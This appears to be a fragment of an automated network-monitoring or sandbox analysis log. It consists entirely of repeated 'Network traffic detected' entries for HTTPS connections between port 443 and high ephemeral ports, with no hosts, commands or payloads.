Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
